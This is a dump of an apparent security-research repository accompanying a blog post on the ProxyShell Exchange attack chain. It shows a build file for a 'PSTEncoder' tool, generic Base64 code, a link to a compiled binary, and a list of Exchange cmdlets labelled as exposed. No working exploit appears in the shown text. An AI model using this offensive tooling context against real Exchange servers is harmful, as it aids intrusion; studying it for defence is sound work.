 82 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 83 |     <LinkIncremental>false</LinkIncremental>
 84 |   </PropertyGroup>
 85 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 86 |     <ClCompile>
 87 |       <WarningLevel>Level3</WarningLevel>
 88 |       <SDLCheck>true</SDLCheck>
 89 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 90 |       <ConformanceMode>true</ConformanceMode>
 91 |     </ClCompile>
 92 |     <Link>
 93 |       <SubSystem>Console</SubSystem>
 94 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 98 |     <ClCompile>
 99 |       <WarningLevel>Level3</WarningLevel>
100 |       <FunctionLevelLinking>true</FunctionLevelLinking>
101 |       <IntrinsicFunctions>true</IntrinsicFunctions>
102 |       <SDLCheck>true</SDLCheck>
103 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |       <ConformanceMode>true</ConformanceMode>
105 |     </ClCompile>
106 |     <Link>
107 |       <SubSystem>Console</SubSystem>
108 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
109 |       <OptimizeReferences>true</OptimizeReferences>
110 |       <GenerateDebugInformation>true</GenerateDebugInformation>
111 |     </Link>
112 |   </ItemDefinitionGroup>
113 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114 |     <ClCompile>
115 |       <WarningLevel>Level3</WarningLevel>
116 |       <SDLCheck>true</SDLCheck>
117 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <ConformanceMode>true</ConformanceMode>
119 |     </ClCompile>
120 |     <Link>
121 |       <SubSystem>Console</SubSystem>
122 |       <GenerateDebugInformation>true</GenerateDebugInformation>
123 |     </Link>
124 |   </ItemDefinitionGroup>
125 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126 |     <ClCompile>
127 |       <WarningLevel>Level3</WarningLevel>
128 |       <FunctionLevelLinking>true</FunctionLevelLinking>
129 |       <IntrinsicFunctions>true</IntrinsicFunctions>
130 |       <SDLCheck>true</SDLCheck>
131 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132 |       <ConformanceMode>true</ConformanceMode>
133 |     </ClCompile>
134 |     <Link>
135 |       <SubSystem>Console</SubSystem>
136 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
137 |       <OptimizeReferences>true</OptimizeReferences>
138 |       <GenerateDebugInformation>true</GenerateDebugInformation>
139 |     </Link>
140 |   </ItemDefinitionGroup>
141 |   <ItemGroup>
142 |     <ClCompile Include="base64.c" />
143 |     <ClCompile Include="PSTEncoder.c" />
144 |   </ItemGroup>
145 |   <ItemGroup>
146 |     <ClInclude Include="base64.h" />
147 |   </ItemGroup>
148 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
149 |   <ImportGroup Label="ExtensionTargets">
150 |   </ImportGroup>
151 | </Project>


--------------------------------------------------------------------------------
/PSTEncoder/PSTEncoder.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup>
4 |     <ShowAllFiles>true</ShowAllFiles>
5 |   </PropertyGroup>
6 | </Project>


--------------------------------------------------------------------------------
/PSTEncoder/base64.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
  3 |  *
  4 |  * @APPLE_LICENSE_HEADER_START@
  5 |  * 
  6 |  * Copyright (c) 1999-2003 Apple Computer, Inc.  All Rights Reserved.
  7 |  * 
  8 |  * This file contains Original Code and/or Modifications of Original Code
  9 |  * as defined in and that are subject to the Apple Public Source License
 10 |  * Version 2.0 (the 'License'). You may not use this file except in
 11 |  * compliance with the License. Please obtain a copy of the License at
 12 |  * http://www.opensource.apple.com/apsl/ and read it before using this
 13 |  * file.
 14 |  * 
 15 |  * The Original Code and all software distributed under the License are
 16 |  * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 17 |  * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 18 |  * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 19 |  * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 20 |  * Please see the License for the specific language governing rights and
 21 |  * limitations under the License.
 22 |  * 
 23 |  * @APPLE_LICENSE_HEADER_END@
 24 |  */
 25 | /* ====================================================================
 26 |  * Copyright (c) 1995-1999 The Apache Group.  All rights reserved.
 27 |  *
 28 |  * Redistribution and use in source and binary forms, with or without
 29 |  * modification, are permitted provided that the following conditions
 30 |  * are met:
 31 |  *
 32 |  * 1. Redistributions of source code must retain the above copyright
 33 |  *    notice, this list of conditions and the following disclaimer.
 34 |  *
 35 |  * 2. Redistributions in binary form must reproduce the above copyright
 36 |  *    notice, this list of conditions and the following disclaimer in
 37 |  *    the documentation and/or other materials provided with the
 38 |  *    distribution.
 39 |  *
 40 |  * 3. All advertising materials mentioning features or use of this
 41 |  *    software must display the following acknowledgment:
 42 |  *    "This product includes software developed by the Apache Group
 43 |  *    for use in the Apache HTTP server project (http://www.apache.org/)."
 44 |  *
 45 |  * 4. The names "Apache Server" and "Apache Group" must not be used to
 46 |  *    endorse or promote products derived from this software without
 47 |  *    prior written permission. For written permission, please contact
 48 |  *    apache@apache.org.
 49 |  *
 50 |  * 5. Products derived from this software may not be called "Apache"
 51 |  *    nor may "Apache" appear in their names without prior written
 52 |  *    permission of the Apache Group.
 53 |  *
 54 |  * 6. Redistributions of any form whatsoever must retain the following
 55 |  *    acknowledgment:
 56 |  *    "This product includes software developed by the Apache Group
 57 |  *    for use in the Apache HTTP server project (http://www.apache.org/)."
 58 |  *
 59 |  * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
 60 |  * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 61 |  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 62 |  * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE APACHE GROUP OR
 63 |  * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 64 |  * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 65 |  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 66 |  * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 67 |  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 68 |  * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 69 |  * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 70 |  * OF THE POSSIBILITY OF SUCH DAMAGE.
 71 |  * ====================================================================
 72 |  *
 73 |  * This software consists of voluntary contributions made by many
 74 |  * individuals on behalf of the Apache Group and was originally based
 75 |  * on public domain software written at the National Center for
 76 |  * Supercomputing Applications, University of Illinois, Urbana-Champaign.
 77 |  * For more information on the Apache Group and the Apache HTTP server
 78 |  * project, please see <http://www.apache.org/>.
 79 |  *
 80 |  */
 81 | 
 82 | /* Base64 encoder/decoder. Originally Apache file ap_base64.c
 83 |  */
 84 | 
 85 | #include <string.h>
 86 | 
 87 | #include "base64.h"
 88 | 
 89 | /* aaaack but it's fast and const should make it shared text page. */
 90 | static const unsigned char pr2six[256] =
 91 | {
 92 |     /* ASCII table */
 93 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
 94 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
 95 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
 96 |     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
 97 |     64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
 98 |     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
 99 |     64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
100 |     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
101 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
102 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
103 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
104 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
105 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
106 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
107 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
108 |     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
109 | };
110 | 
111 | int Base64decode_len(const char *bufcoded)
112 | {
113 |     int nbytesdecoded;
114 |     register const unsigned char *bufin;
115 |     register int nprbytes;
116 | 
117 |     bufin = (const unsigned char *) bufcoded;
118 |     while (pr2six[*(bufin++)] <= 63);
119 | 
120 |     nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
121 |     nbytesdecoded = ((nprbytes + 3) / 4) * 3;
122 | 
123 |     return nbytesdecoded + 1;
124 | }
125 | 
126 | int Base64decode(char *bufplain, const char *bufcoded)
127 | {
128 |     int nbytesdecoded;
129 |     register const unsigned char *bufin;
130 |     register unsigned char *bufout;
131 |     register int nprbytes;
132 | 
133 |     bufin = (const unsigned char *) bufcoded;
134 |     while (pr2six[*(bufin++)] <= 63);
135 |     nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
136 |     nbytesdecoded = ((nprbytes + 3) / 4) * 3;
137 | 
138 |     bufout = (unsigned char *) bufplain;
139 |     bufin = (const unsigned char *) bufcoded;
140 | 
141 |     while (nprbytes > 4) {
142 |     *(bufout++) =
143 |         (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
144 |     *(bufout++) =
145 |         (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
146 |     *(bufout++) =
147 |         (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
148 |     bufin += 4;
149 |     nprbytes -= 4;
150 |     }
151 | 
152 |     /* Note: (nprbytes == 1) would be an error, so just ingore that case */
153 |     if (nprbytes > 1) {
154 |     *(bufout++) =
155 |         (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
156 |     }
157 |     if (nprbytes > 2) {
158 |     *(bufout++) =
159 |         (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
160 |     }
161 |     if (nprbytes > 3) {
162 |     *(bufout++) =
163 |         (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
164 |     }
165 | 
166 |     *(bufout++) = '\0';
167 |     nbytesdecoded -= (4 - nprbytes) & 3;
168 |     return nbytesdecoded;
169 | }
170 | 
171 | static const char basis_64[] =
172 |     "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
173 | 
174 | int Base64encode_len(int len)
175 | {
176 |     return ((len + 2) / 3 * 4) + 1;
177 | }
178 | 
179 | int Base64encode(char *encoded, const char *string, int len)
180 | {
181 |     int i;
182 |     char *p;
183 | 
184 |     p = encoded;
185 |     for (i = 0; i < len - 2; i += 3) {
186 |     *p++ = basis_64[(string[i] >> 2) & 0x3F];
187 |     *p++ = basis_64[((string[i] & 0x3) << 4) |
188 |                     ((int) (string[i + 1] & 0xF0) >> 4)];
189 |     *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
190 |                     ((int) (string[i + 2] & 0xC0) >> 6)];
191 |     *p++ = basis_64[string[i + 2] & 0x3F];
192 |     }
193 |     if (i < len) {
194 |     *p++ = basis_64[(string[i] >> 2) & 0x3F];
195 |     if (i == (len - 1)) {
196 |         *p++ = basis_64[((string[i] & 0x3) << 4)];
197 |         *p++ = '=';
198 |     }
199 |     else {
200 |         *p++ = basis_64[((string[i] & 0x3) << 4) |
201 |                         ((int) (string[i + 1] & 0xF0) >> 4)];
202 |         *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
203 |     }
204 |     *p++ = '=';
205 |     }
206 | 
207 |     *p++ = '\0';
208 |     return p - encoded;
209 | }
210 | 


--------------------------------------------------------------------------------
/PSTEncoder/base64.h:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
  3 |  *
  4 |  * @APPLE_LICENSE_HEADER_START@
  5 |  * 
  6 |  * Copyright (c) 1999-2003 Apple Computer, Inc.  All Rights Reserved.
  7 |  * 
  8 |  * This file contains Original Code and/or Modifications of Original Code
  9 |  * as defined in and that are subject to the Apple Public Source License
 10 |  * Version 2.0 (the 'License'). You may not use this file except in
 11 |  * compliance with the License. Please obtain a copy of the License at
 12 |  * http://www.opensource.apple.com/apsl/ and read it before using this
 13 |  * file.
 14 |  * 
 15 |  * The Original Code and all software distributed under the License are
 16 |  * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 17 |  * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 18 |  * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 19 |  * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 20 |  * Please see the License for the specific language governing rights and
 21 |  * limitations under the License.
 22 |  * 
 23 |  * @APPLE_LICENSE_HEADER_END@
 24 |  */
 25 | /* ====================================================================
 26 |  * Copyright (c) 1995-1999 The Apache Group.  All rights reserved.
 27 |  *
 28 |  * Redistribution and use in source and binary forms, with or without
 29 |  * modification, are permitted provided that the following conditions
 30 |  * are met:
 31 |  *
 32 |  * 1. Redistributions of source code must retain the above copyright
 33 |  *    notice, this list of conditions and the following disclaimer.
 34 |  *
 35 |  * 2. Redistributions in binary form must reproduce the above copyright
 36 |  *    notice, this list of conditions and the following disclaimer in
 37 |  *    the documentation and/or other materials provided with the
 38 |  *    distribution.
 39 |  *
 40 |  * 3. All advertising materials mentioning features or use of this
 41 |  *    software must display the following acknowledgment:
 42 |  *    "This product includes software developed by the Apache Group
 43 |  *    for use in the Apache HTTP server project (http://www.apache.org/)."
 44 |  *
 45 |  * 4. The names "Apache Server" and "Apache Group" must not be used to
 46 |  *    endorse or promote products derived from this software without
 47 |  *    prior written permission. For written permission, please contact
 48 |  *    apache@apache.org.
 49 |  *
 50 |  * 5. Products derived from this software may not be called "Apache"
 51 |  *    nor may "Apache" appear in their names without prior written
 52 |  *    permission of the Apache Group.
 53 |  *
 54 |  * 6. Redistributions of any form whatsoever must retain the following
 55 |  *    acknowledgment:
 56 |  *    "This product includes software developed by the Apache Group
 57 |  *    for use in the Apache HTTP server project (http://www.apache.org/)."
 58 |  *
 59 |  * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
 60 |  * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 61 |  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 62 |  * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE APACHE GROUP OR
 63 |  * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 64 |  * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 65 |  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 66 |  * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 67 |  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 68 |  * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 69 |  * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 70 |  * OF THE POSSIBILITY OF SUCH DAMAGE.
 71 |  * ====================================================================
 72 |  *
 73 |  * This software consists of voluntary contributions made by many
 74 |  * individuals on behalf of the Apache Group and was originally based
 75 |  * on public domain software written at the National Center for
 76 |  * Supercomputing Applications, University of Illinois, Urbana-Champaign.
 77 |  * For more information on the Apache Group and the Apache HTTP server
 78 |  * project, please see <http://www.apache.org/>.
 79 |  *
 80 |  */
 81 | 
 82 | 
 83 | 
 84 | #ifndef _BASE64_H_
 85 | #define _BASE64_H_
 86 | 
 87 | #ifdef __cplusplus
 88 | extern "C" {
 89 | #endif
 90 | 
 91 | int Base64encode_len(int len);
 92 | int Base64encode(char * coded_dst, const char *plain_src,int len_plain_src);
 93 | 
 94 | int Base64decode_len(const char * coded_src);
 95 | int Base64decode(char * plain_dst, const char *coded_src);
 96 | 
 97 | #ifdef __cplusplus
 98 | }
 99 | #endif
100 | 
101 | #endif //_BASE64_H_
102 | 


--------------------------------------------------------------------------------
/PSTEncoder/x64/Debug/PSTEncoder.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mdsecresearch/NSAMeetingWithProxyShell/ee80c543069dd8ce679d025c488bf591100ddf45/PSTEncoder/x64/Debug/PSTEncoder.exe


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NSAMeetingWithProxyShell
2 | 
3 | This repository holds data related to the following blog post:
4 | 
5 | https://www.mdsec.co.uk/2021/09/nsa-meeting-proposal-for-proxyshell/
6 | 
7 | ![](MeetingAlert.png?raw=true)
8 | 


--------------------------------------------------------------------------------
/exchange2016-ExposedCmdlets-March-2021.txt:
--------------------------------------------------------------------------------
  1 | Add-ADPermission
  2 | Add-AvailabilityAddressSpace
  3 | Add-ContentFilterPhrase
  4 | Add-DatabaseAvailabilityGroupServer
  5 | Add-DistributionGroupMember
  6 | Add-FederatedDomain
  7 | Add-GlobalMonitoringOverride
  8 | Add-IPAllowListEntry
  9 | Add-IPAllowListProvider
 10 | Add-IPBlockListEntry
 11 | Add-IPBlockListProvider
 12 | Add-MailboxDatabaseCopy
 13 | Add-MailboxFolderPermission
 14 | Add-MailboxLocation
 15 | Add-MailboxPermission
 16 | Add-ManagementRoleEntry
 17 | Add-PublicFolderClientPermission
 18 | Add-ResubmitRequest
 19 | Add-RoleGroupMember
 20 | Add-ServerMonitoringOverride
 21 | Clear-ActiveSyncDevice
 22 | Clear-MobileDevice
 23 | Clear-TextMessagingAccount
 24 | Compare-TextMessagingVerificationCode
 25 | Complete-MigrationBatch
 26 | Connect-Mailbox
 27 | Disable-AddressListPaging
 28 | Disable-App
 29 | Disable-CmdletExtensionAgent
 30 | Disable-DistributionGroup
 31 | Disable-InboxRule
 32 | Disable-JournalRule
 33 | Disable-Mailbox
 34 | Disable-MailboxQuarantine
 35 | Disable-MailContact
 36 | Disable-MailPublicFolder
 37 | Disable-MailUser
 38 | Disable-MalwareFilterRule
 39 | Disable-OutlookProtectionRule
 40 | Disable-PushNotificationProxy
 41 | Disable-RemoteMailbox
 42 | Disable-ServiceEmailChannel
 43 | Disable-SweepRule
 44 | Disable-TransportAgent
 45 | Disable-TransportRule
 46 | Disable-UMAutoAttendant
 47 | Disable-UMCallAnsweringRule
 48 | Disable-UMIPGateway
 49 | Disable-UMMailbox
 50 | Disable-UMService
 51 | Dismount-Database
 52 | Dump-ProvisioningCache
 53 | Enable-AddressListPaging
 54 | Enable-AntispamUpdates
 55 | Enable-App
 56 | Enable-CmdletExtensionAgent
 57 | Enable-DistributionGroup
 58 | Enable-ExchangeCertificate
 59 | Enable-InboxRule
 60 | Enable-JournalRule
 61 | Enable-Mailbox
 62 | Enable-MailboxQuarantine
 63 | Enable-MailContact
 64 | Enable-MailPublicFolder
 65 | Enable-MailUser
 66 | Enable-MalwareFilterRule
 67 | Enable-OutlookProtectionRule
 68 | Enable-PushNotificationProxy
 69 | Enable-RemoteMailbox
 70 | Enable-ServiceEmailChannel
 71 | Enable-SweepRule
 72 | Enable-TransportAgent
 73 | Enable-TransportRule
 74 | Enable-UMAutoAttendant
 75 | Enable-UMCallAnsweringRule
 76 | Enable-UMIPGateway
 77 | Enable-UMMailbox
 78 | Enable-UMService
 79 | Export-ActiveSyncLog
 80 | Export-AutoDiscoverConfig
 81 | Export-DlpPolicyCollection
 82 | Export-ExchangeCertificate
 83 | Export-JournalRuleCollection
 84 | Export-MailboxDiagnosticLogs
 85 | Export-Message
 86 | Export-MigrationReport
 87 | Export-RecipientDataProperty
 88 | Export-TransportRuleCollection
 89 | Export-UMCallDataRecord
 90 | Export-UMPrompt
 91 | Get-AcceptedDomain
 92 | Get-ActiveSyncDevice
 93 | Get-ActiveSyncDeviceAccessRule
 94 | Get-ActiveSyncDeviceAutoblockThreshold
 95 | Get-ActiveSyncDeviceClass
 96 | Get-ActiveSyncDeviceStatistics
 97 | Get-ActiveSyncMailboxPolicy
 98 | Get-ActiveSyncOrganizationSettings
 99 | Get-ActiveSyncVirtualDirectory
100 | Get-AddressBookPolicy
101 | Get-AddressList
102 | Get-AdminAuditLogConfig
103 | Get-AdministrativeUnit
104 | Get-ADPermission
105 | Get-ADServerSettings
106 | Get-ADSite
107 | Get-AdSiteLink
108 | Get-AgentLog
109 | Get-AgentTrafficTypeSubscription
110 | Get-App
111 | Get-AuditLogSearch
112 | Get-AuthConfig
113 | Get-AuthRedirect
114 | Get-AuthServer
115 | Get-AutodiscoverVirtualDirectory
116 | Get-AvailabilityAddressSpace
117 | Get-AvailabilityConfig
118 | Get-CalendarDiagnosticAnalysis
119 | Get-CalendarDiagnosticLog
120 | Get-CalendarNotification
121 | Get-CalendarProcessing
122 | Get-CASMailbox
123 | Get-CASMailboxPlan
124 | Get-ClassificationRuleCollection
125 | Get-ClientAccessArray
126 | Get-ClientAccessServer
127 | Get-ClientAccessService
128 | Get-CmdletExtensionAgent
129 | Get-ComplianceServiceVirtualDirectory
130 | Get-ConsumerGroup
131 | Get-ConsumerMailbox
132 | Get-Contact
133 | Get-ContentFilterConfig
134 | Get-ContentFilterPhrase
135 | Get-DatabaseAvailabilityGroup
136 | Get-DatabaseAvailabilityGroupConfiguration
137 | Get-DatabaseAvailabilityGroupNetwork
138 | Get-DataClassification
139 | Get-DefaultFolderHistory
140 | Get-DeliveryAgentConnector
141 | Get-DetailsTemplate
142 | Get-DistributionGroup
143 | Get-DistributionGroupMember
144 | Get-DlpPolicy
145 | Get-DlpPolicyTemplate
146 | Get-DomainController
147 | Get-DynamicDistributionGroup
148 | Get-EcpVirtualDirectory
149 | Get-EdgeSubscription
150 | Get-EdgeSyncServiceConfig
151 | Get-EligibleDistributionGroupForMigration
152 | Get-EmailAddressPolicy
153 | Get-EventLogLevel
154 | Get-ExchangeAssistanceConfig
155 | Get-ExchangeCertificate
156 | Get-ExchangeDiagnosticInfo
157 | Get-ExchangeServer
158 | Get-ExchangeServerAccessLicense
159 | Get-ExchangeServerAccessLicenseUser
160 | Get-FailedContentIndexDocuments
161 | Get-FederatedDomainProof
162 | Get-FederatedOrganizationIdentifier
163 | Get-FederationInformation
164 | Get-FederationTrust
165 | Get-ForeignConnector
166 | Get-FrontendTransportService
167 | Get-GlobalAddressList
168 | Get-GlobalMonitoringOverride
169 | Get-Group
170 | Get-HealthReport
171 | Get-HostedContentFilterRule
172 | Get-HybridConfiguration
173 | Get-ImapSettings
174 | Get-InboxRule
175 | Get-IntraOrganizationConfiguration
176 | Get-IntraOrganizationConnector
177 | Get-IPAllowListConfig
178 | Get-IPAllowListEntry
179 | Get-IPAllowListProvider
180 | Get-IPAllowListProvidersConfig
181 | Get-IPBlockListConfig
182 | Get-IPBlockListEntry
183 | Get-IPBlockListProvider
184 | Get-IPBlockListProvidersConfig
185 | Get-IRMConfiguration
186 | Get-JournalRule
187 | Get-LAMDefinitions
188 | Get-LAMResults
189 | Get-LogExportVirtualDirectory
190 | Get-LogonStatistics
191 | Get-Mailbox
192 | Get-MailboxAuditBypassAssociation
193 | Get-MailboxAutoReplyConfiguration
194 | Get-MailboxCalendarConfiguration
195 | Get-MailboxCalendarFolder
196 | Get-MailboxDatabase
197 | Get-MailboxDatabaseCopyStatus
198 | Get-MailboxDatabaseRedundancy
199 | Get-MailboxDeliveryVirtualDirectory
200 | Get-MailboxFolder
201 | Get-MailboxFolderPermission
202 | Get-MailboxFolderStatistics
203 | Get-MailboxJunkEmailConfiguration
204 | Get-MailboxLocation
205 | Get-MailboxMessageConfiguration
206 | Get-MailboxPermission
207 | Get-MailboxPreferredLocation
208 | Get-MailboxRegionalConfiguration
209 | Get-MailboxRelocationRequestStatistics
210 | Get-MailboxRepairRequest
211 | Get-MailboxRestoreRequest
212 | Get-MailboxRestoreRequestStatistics
213 | Get-MailboxSearch
214 | Get-MailboxServer
215 | Get-MailboxServerRedundancy
216 | Get-MailboxSpellingConfiguration
217 | Get-MailboxStatistics
218 | Get-MailboxTransportService
219 | Get-MailboxUserConfiguration
220 | Get-MailContact
221 | Get-MailPublicFolder
222 | Get-MailUser
223 | Get-MalwareFilteringServer
224 | Get-MalwareFilterPolicy
225 | Get-MalwareFilterRule
226 | Get-ManagementRole
227 | Get-ManagementRoleAssignment
228 | Get-ManagementRoleEntry
229 | Get-ManagementScope
230 | Get-MapiVirtualDirectory
231 | Get-Message
232 | Get-MessageCategory
233 | Get-MessageClassification
234 | Get-MessageTrackingLog
235 | Get-MessageTrackingReport
236 | Get-MigrationBatch
237 | Get-MigrationConfig
238 | Get-MigrationEndpoint
239 | Get-MigrationStatistics
240 | Get-MigrationUser
241 | Get-MigrationUserStatistics
242 | Get-MobileDevice
243 | Get-MobileDeviceMailboxPolicy
244 | Get-MobileDeviceStatistics
245 | Get-MonitoringItemHelp
246 | Get-MonitoringItemIdentity
247 | Get-MoveRequest
248 | Get-MoveRequestStatistics
249 | Get-MRSRequest
250 | Get-MRSRequestStatistics
251 | Get-NetworkConnectionInfo
252 | Get-Notification
253 | Get-OabVirtualDirectory
254 | Get-OfflineAddressBook
255 | Get-OnlineMeetingConfiguration
256 | Get-OrganizationalUnit
257 | Get-OrganizationConfig
258 | Get-OrganizationRelationship
259 | Get-OutlookAnywhere
260 | Get-OutlookProtectionRule
261 | Get-OutlookProvider
262 | Get-OutlookServiceVirtualDirectory
263 | Get-OwaMailboxPolicy
264 | Get-OwaVirtualDirectory
265 | Get-PartnerApplication
266 | Get-PendingFederatedDomain
267 | Get-PhysicalAvailabilityReport
268 | Get-PolicyTipConfig
269 | Get-PopSettings
270 | Get-PowerShellVirtualDirectory
271 | Get-ProcessInfo
272 | Get-PublicFolder
273 | Get-PublicFolderClientPermission
274 | Get-PublicFolderDatabase
275 | Get-PublicFolderItemStatistics
276 | Get-PublicFolderMailboxDiagnostics
277 | Get-PublicFolderMailboxMigrationRequest
278 | Get-PublicFolderMailboxMigrationRequestStatistics
279 | Get-PublicFolderMigrationRequest
280 | Get-PublicFolderMigrationRequestStatistics
281 | Get-PublicFolderMoveRequest
282 | Get-PublicFolderMoveRequestStatistics
283 | Get-PublicFolderStatistics
284 | Get-PushNotificationSubscription
285 | Get-Queue
286 | Get-QueueDigest
287 | Get-RbacDiagnosticInfo
288 | Get-ReceiveConnector
289 | Get-Recipient
290 | Get-RecipientFilterConfig
291 | Get-RemoteDomain
292 | Get-RemoteMailbox
293 | Get-ResourceConfig
294 | Get-RestVirtualDirectory
295 | Get-ResubmitRequest
296 | Get-RetentionPolicy
297 | Get-RetentionPolicyTag
298 | Get-RMSTemplate
299 | Get-RoleAssignmentPolicy
300 | Get-RoleGroup
301 | Get-RoleGroupMember
302 | Get-RpcClientAccess
303 | Get-SearchDocumentFormat
304 | Get-SecurityPrincipal
305 | Get-SendConnector
306 | Get-SenderFilterConfig
307 | Get-SenderIdConfig
308 | Get-SenderReputationConfig
309 | Get-ServerComponentState
310 | Get-ServerHealth
311 | Get-ServerMonitoringOverride
312 | Get-ServiceAvailabilityReport
313 | Get-ServiceStatus
314 | Get-SettingOverride
315 | Get-SharingPolicy
316 | Get-SiteMailbox
317 | Get-SiteMailboxDiagnostics
318 | Get-SiteMailboxProvisioningPolicy
319 | Get-SmimeConfig
320 | Get-StoreUsageStatistics
321 | Get-SubmissionMalwareFilteringServer
322 | Get-SweepRule
323 | Get-SyncConfig
324 | Get-SystemMessage
325 | Get-TextMessagingAccount
326 | Get-ThrottlingPolicy
327 | Get-ThrottlingPolicyAssociation
328 | Get-TimeRange
329 | Get-TransportAgent
330 | Get-TransportConfig
331 | Get-TransportPipeline
332 | Get-TransportRule
333 | Get-TransportRuleAction
334 | Get-TransportRulePredicate
335 | Get-TransportServer
336 | Get-TransportService
